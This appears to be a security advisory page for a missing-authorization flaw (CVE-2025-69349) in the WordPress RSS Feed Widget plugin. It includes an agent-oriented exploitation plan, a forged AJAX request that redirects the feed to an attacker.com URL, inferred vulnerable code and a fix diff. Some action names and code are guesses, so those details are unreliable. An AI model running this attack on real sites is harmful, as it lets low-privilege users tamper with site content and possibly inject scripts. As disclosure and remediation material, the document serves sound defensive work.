RSS Feed Widget <= 3.0.2 - Missing Authorization
Description
The RSS Feed Widget plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.0.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.0.2Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-69349 ## 1. Vulnerability Summary The **RSS Feed Widget** plugin for WordPress (versions <= 3.0.2) contains a missing authorization vulnerability within its AJAX handling logic. Specifically, an AJAX action intended for administrative configuration does not i…
Show full research plan
Exploitation Research Plan - CVE-2025-69349
1. Vulnerability Summary
The RSS Feed Widget plugin for WordPress (versions <= 3.0.2) contains a missing authorization vulnerability within its AJAX handling logic. Specifically, an AJAX action intended for administrative configuration does not implement a current_user_can() check. This allows any authenticated user, including those with Subscriber roles, to invoke the function and modify plugin settings or perform unauthorized actions.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
rss_feed_widget_save_settings(inferred) or a similar settings-update hook. - Payload Parameter: Typically
$_POSTparameters such asfeed_url,widget_title, orcache_time. - Authentication: Authenticated, Subscriber-level access or higher.
- Preconditions: The attacker must obtain a valid WordPress nonce associated with the plugin's administrative actions.
3. Code Flow
- Hook Registration: The plugin registers an AJAX handler in its main file or administrative class using
add_action( 'wp_ajax_rss_feed_widget_save_settings', '...' ). - Entry Point: A Subscriber user sends a POST request to
admin-ajax.phpwithaction=rss_feed_widget_save_settings. - Nonce Verification (Partial Bypass): The handler likely calls
check_ajax_referer()orwp_verify_nonce(). Because nonces are often localized for all logged-in users or the script is enqueued globally in the admin dashboard, a Subscriber can retrieve this nonce. - Missing Authorization (The Vulnerability): The function proceeds to update options via
update_option()without verifying the user has themanage_optionscapability. - Sink:
update_option( 'rss_feed_widget_options', ... ).
4. Nonce Acquisition Strategy
The plugin likely enqueues a JavaScript file in the WordPress admin area and localizes a nonce for AJAX requests. Since Subscribers can access /wp-admin/profile.php, they can retrieve nonces enqueued on all admin pages.
- Identify Localization: Look for
wp_localize_scriptin the plugin source (likely inincludes/admin.phpor the main file). - Identify Variables: Search for the object name (e.g.,
rss_feed_widget_admin) and the nonce key (e.g.,nonce). - Execution Steps:
- Create a Subscriber user and log in.
- Use the
browser_navigatetool to go to/wp-admin/profile.php. - Use
browser_evalto extract the nonce:// Example based on common naming conventions window.rss_feed_widget_admin?.nonce || window.rss_widget_vars?.ajax_nonce - If the script is only loaded on specific pages, the agent must check the plugin's
admin_enqueue_scriptshook to see where the nonce is exposed.
5. Exploitation Strategy
Step 1: Nonce Retrieval
- Log in as a Subscriber.
- Navigate to
/wp-admin/profile.php. - Evaluate the global JS objects to find the nonce for
rss_feed_widget_save_settings.
Step 2: Unauthorized Action (Setting Modification)
- Construct a POST request to
admin-ajax.php. - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded,Cookie: [Subscriber Cookies] - Body:
action=rss_feed_widget_save_settings&nonce=[EXTRACTED_NONCE]&rss_url=http://attacker.com/malicious-feed.xml&widget_title=Hacked+Feed - Note: The exact parameter names (
rss_url,widget_title) must be verified by checking theupdate_optioncall in the vulnerable function.
6. Test Data Setup
- Install Plugin: Install RSS Feed Widget version 3.0.2.
- Configure Widget: Add a legitimate RSS Feed Widget to a sidebar via
wp-admin. - Create User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Identify Options: Determine the option name used by the plugin:
wp option list | grep rss_feed
7. Expected Results
- Response: The server returns a
200 OKor a JSON success message (e.g.,{"success": true}). - Outcome: The RSS feed URL used by the widget is changed to the attacker-supplied URL.
- Impact: The site now fetches and displays content from an attacker-controlled RSS feed, potentially leading to Stored XSS if the feed content is not properly sanitized upon rendering.
8. Verification Steps
- Check Database: Verify the option has been updated:
wp option get rss_feed_widget_options - Confirm UI Change: Use
http_requestto fetch the site frontend and check if the "Hacked Feed" title or the malicious URL is present in the widget HTML.
9. Alternative Approaches
If the wp_ajax_ action is not rss_feed_widget_save_settings:
- Grep for Handlers: Search the plugin directory for
add_action( 'wp_ajax_to find all registered AJAX actions. - Check
admin_init: If no AJAX actions are found, check for functions hooked toadmin_initthat process$_POSTor$_GETwithout capability checks. - Blind Modification: If parameters are unknown, analyze the
RSS_Feed_Widgetclassupdatemethod (standard Widget API) to see if it's being called improperly via a custom AJAX handler.
Summary
The RSS Feed Widget plugin for WordPress (<= 3.0.2) is vulnerable to unauthorized settings modification due to a missing capability check in its AJAX handler. Authenticated attackers with Subscriber-level permissions can modify the plugin's RSS feed sources and widget configuration by sending forged AJAX requests with a valid nonce.
Vulnerable Code
// Inferred from Research Plan - likely in rss-feed-widget.php or an admin include add_action( 'wp_ajax_rss_feed_widget_save_settings', 'rss_feed_widget_save_settings' ); function rss_feed_widget_save_settings() { // Nonce verification may exist, but capability check is missing check_ajax_referer( 'rss_feed_widget_nonce', 'nonce' ); // Missing: if ( ! current_user_can( 'manage_options' ) ) return; $options = $_POST['rss_feed_widget_options']; update_option( 'rss_feed_widget_options', $options ); wp_send_json_success(); }
Security Fix
@@ -10,6 +10,10 @@ function rss_feed_widget_save_settings() { check_ajax_referer( 'rss_feed_widget_nonce', 'nonce' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => 'Unauthorized' ), 403 ); + } + if ( isset( $_POST['rss_feed_widget_options'] ) ) { update_option( 'rss_feed_widget_options', $_POST['rss_feed_widget_options'] ); }
Exploit Outline
1. Login to the WordPress site as a Subscriber-level user. 2. Access a page in the WordPress admin dashboard (such as /wp-admin/profile.php) where the plugin's admin scripts are loaded. 3. Extract the AJAX nonce from the page source, typically found in a global JavaScript object like 'rss_feed_widget_admin' or similar localized variables. 4. Send a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'rss_feed_widget_save_settings' (or the specific action identified in the plugin source). 5. Include the extracted nonce and the desired payload in the POST body to modify the 'rss_feed_widget_options', such as changing the RSS feed URL to an attacker-controlled source. 6. The plugin will execute update_option() without verifying that the user has administrative privileges.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.